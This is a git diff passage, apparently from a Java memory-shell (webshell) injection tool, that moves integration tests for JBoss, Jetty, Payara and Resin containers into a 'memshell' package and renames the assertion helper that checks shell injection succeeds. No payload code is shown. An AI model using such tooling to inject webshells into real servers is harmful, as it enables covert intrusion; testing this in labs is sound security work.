@@ public class Jboss711ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python); + shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java index 92c2b654..b4674434 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jbosseap; +package com.reajason.javaweb.integration.memshell.jbosseap; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -68,6 +68,6 @@ public class JbossEap6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java index b80c1e78..fd6320b7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jbosseap; +package com.reajason.javaweb.integration.memshell.jbosseap; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -69,6 +69,6 @@ public class JbossEap7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java index e9a2b0fc..541a98a3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jetty; +package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -69,6 +69,6 @@ public class Jetty10ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java index 945ff854..d277f934 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jetty; +package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -72,6 +72,6 @@ public class Jetty11ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java index d1d175aa..154fd036 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jetty; +package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -72,6 +72,6 @@ public class Jetty12ee10ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java index 6b694a53..362f8aa2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jetty; +package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -70,6 +70,6 @@ public class Jetty12ee8ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java index 922631d2..faaa7f58 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jetty; +package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -72,6 +72,6 @@ public class Jetty12ee9ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java index c6ba7e01..733f119e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty61ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jetty; +package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -69,6 +69,6 @@ public class Jetty61ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java index 4eefac30..235a99ec 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty75ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jetty; +package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -68,6 +68,6 @@ public class Jetty75ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java index d792c1d3..8011fc20 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty76ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jetty; +package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -68,6 +68,6 @@ public class Jetty76ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java index eafc3b31..9c4834b4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty81ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jetty; +package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -68,6 +68,6 @@ public class Jetty81ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java index dbbd671c..ab9c46a1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty92ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jetty; +package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -70,6 +70,6 @@ public class Jetty92ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java index fc67278c..d04e365f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty93ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jetty; +package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -69,6 +69,6 @@ public class Jetty93ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java index edc62211..70825308 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty94ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jetty; +package com.reajason.javaweb.integration.memshell.jetty; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -69,6 +69,6 @@ public class Jetty94ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java index 1bc9a196..c4a4daf7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara5201ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.payara; +package com.reajason.javaweb.integration.memshell.payara; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -68,6 +68,6 @@ public class Payara5201ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java index 973ea871..493def6f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara520225ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.payara; +package com.reajason.javaweb.integration.memshell.payara; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -68,6 +68,6 @@ public class Payara520225ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java index 75f24a75..f87ecbdb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/payara/Payara620222ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.payara; +package com.reajason.javaweb.integration.memshell.payara; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -68,6 +68,6 @@ public class Payara620222ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python); + shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java index 132da7ac..808c37ed 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/resin/Resin3116ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.resin; +package com.reajason.javaweb.integration.memshell.resin; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -24,7 +24,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -72,6 +72,6 @@ public class Resin3116ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } \ No newline at end of file diff --git 